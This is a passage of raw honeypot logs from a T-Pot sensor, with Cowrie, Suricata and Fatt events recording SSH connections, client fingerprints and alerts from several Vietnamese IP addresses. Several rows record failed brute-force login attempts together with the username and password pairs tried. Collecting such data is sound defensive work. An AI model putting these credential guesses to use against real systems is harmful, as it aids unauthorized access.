"2021-09-20T11:11:17.880785Z", "@timestamp": "2021-09-20T11:11:17.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25969	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:18.517479+03	2021-09-20 14:15:12.666646+03	{"_id": "XwbnAnwBvYTbRNuEMh52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7976840379d8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:18.517479Z", "@timestamp": "2021-09-20T11:11:18.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25970	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:18.797612+03	2021-09-20 14:15:12.667646+03	{"_id": "YAbnAnwBvYTbRNuENB6j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 895337142589872, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38938, "dest_port": 22, "timestamp": "2021-09-20T11:11:18.797612Z", "@timestamp": "2021-09-20T11:11:18.797Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25971	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:18.518644+03	2021-09-20 14:15:12.668646+03	{"_id": "YwbnAnwBvYTbRNuENR7C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38938, "timestamp": "2021-09-20T11:11:18.518644", "@timestamp": "2021-09-20T11:11:18.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25972	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:18.613787+03	2021-09-20 14:15:12.670646+03	{"_id": "ZAbnAnwBvYTbRNuENR7C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57344, "timestamp": "2021-09-20T11:11:18.613787", "@timestamp": "2021-09-20T11:11:18.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25973	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:18.612141+03	2021-09-20 14:15:12.671646+03	{"_id": "aQbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:57344 (192.168.176.2:22) [session: bfa468d5f9d5]", "session": "bfa468d5f9d5", "@version": "1", "protocol": "ssh", "src_port": 57344, "dest_port": 22, "timestamp": "2021-09-20T11:11:18.612141Z", "@timestamp": "2021-09-20T11:11:18.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25974	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:18.613045+03	2021-09-20 14:15:12.672646+03	{"_id": "agbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "bfa468d5f9d5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:18.613045Z", "@timestamp": "2021-09-20T11:11:18.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25975	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:18.6782+03	2021-09-20 14:15:12.673646+03	{"_id": "awbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/1234567890] failed", "session": "47e7b17df857", "@version": "1", "password": "1234567890", "username": "admin", "timestamp": "2021-09-20T11:11:18.678200Z", "@timestamp": "2021-09-20T11:11:18.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25976	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:19.0666+03	2021-09-20 14:15:12.675646+03	{"_id": "aAbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1b5bc737f66b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:19.066600Z", "@timestamp": "2021-09-20T11:11:19.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25977	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:18.696097+03	2021-09-20 14:15:12.676646+03	{"_id": "ZgbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 8 seconds", "session": "f3138ab24b58", "@version": "1", "duration": 8.723243236541748, "timestamp": "2021-09-20T11:11:18.696097Z", "@timestamp": "2021-09-20T11:11:18.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25978	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:19.344926+03	2021-09-20 14:15:12.677646+03	{"_id": "ZwbnAnwBvYTbRNuENh5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [carmen/carmen] failed", "session": "00d47e2166fb", "@version": "1", "password": "carmen", "username": "carmen", "timestamp": "2021-09-20T11:11:19.344926Z", "@timestamp": "2021-09-20T11:11:19.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25979	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:19.964015+03	2021-09-20 14:15:12.678646+03	{"_id": "hAbnAnwBvYTbRNuEOh5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "47e7b17df857", "@version": "1", "duration": 2.775268316268921, "timestamp": "2021-09-20T11:11:19.964015Z", "@timestamp": "2021-09-20T11:11:19.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25980	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:20.203153+03	2021-09-20 14:15:12.679646+03	{"_id": "hQbnAnwBvYTbRNuEOh5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/qweasd] failed", "session": "7976840379d8", "@version": "1", "password": "qweasd", "username": "root", "timestamp": "2021-09-20T11:11:20.203153Z", "@timestamp": "2021-09-20T11:11:20.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25981	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:20.520598+03	2021-09-20 14:15:12.680646+03	{"_id": "hgbnAnwBvYTbRNuEOh5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/root1] failed", "session": "1b5bc737f66b", "@version": "1", "password": "root1", "username": "root", "timestamp": "2021-09-20T11:11:20.520598Z", "@timestamp": "2021-09-20T11:11:20.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
41132	192.168.20.147	109.199.241.180	Suricata	2021-09-20 16:03:37.555274+03	2021-09-20 16:15:02.331747+03	{"_id": "_wZOA3wBvYTbRNuEBozM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:03:37.555274Z", "@timestamp": "2021-09-20T13:03:37.555Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25982	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:13.008969+03	2021-09-20 14:15:12.682647+03	{"_id": "9AbnAnwBvYTbRNuEHh1P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43758, "timestamp": "2021-09-20T11:11:13.008969", "@timestamp": "2021-09-20T11:11:13.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25983	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:13.624621+03	2021-09-20 14:15:12.683646+03	{"_id": "DQbnAnwBvYTbRNuEIR4a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:12.266788+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 1502, "bytes_toserver": 1790}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 600985853497892, "payload": "AAAI7AYUnavMuZMANO2ra+JteHo96QAAAcpjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGN1cnZlNDQ4LXNoYTUxMixlY2RoLXNoYTItbmlzdHA1MjEsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItMS4zLjEzMi4wLjEwLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTUtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTctc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxyc2EyMDQ4LXNoYTI1Nixyc2ExMDI0LXNoYTEsZXh0LWluZm8tYwAAAbVzc2gtZWQyNTUxOS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZWQ0NDgtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDUyMS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi0xLjMuMTMyLjAuMTAtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LHNzaC1lZDQ0OCxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLTEuMy4xMzIuMC4xMCxyc2Etc2hhMi0yNTYscnNhLXNoYTItNTEyLHNzaC1yc2Esc3NoLWRzcwAAAM1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhcmNmb3VyAAAAzWNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtY3RyLGFlczE5Mi1jdHIsYWVzMTI4LWN0cixhZXMyNTYtY2JjLGFlczE5Mi1jYmMsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFyY2ZvdXIAAAGtdW1hYy02NC1ldG1Ab3BlbnNzaC5jb20sdW1hYy0xMjgtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGht", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46444, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:13.624621Z", "@timestamp": "2021-09-20T11:11:13.624Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............4..k.mxz=.....curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c....ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,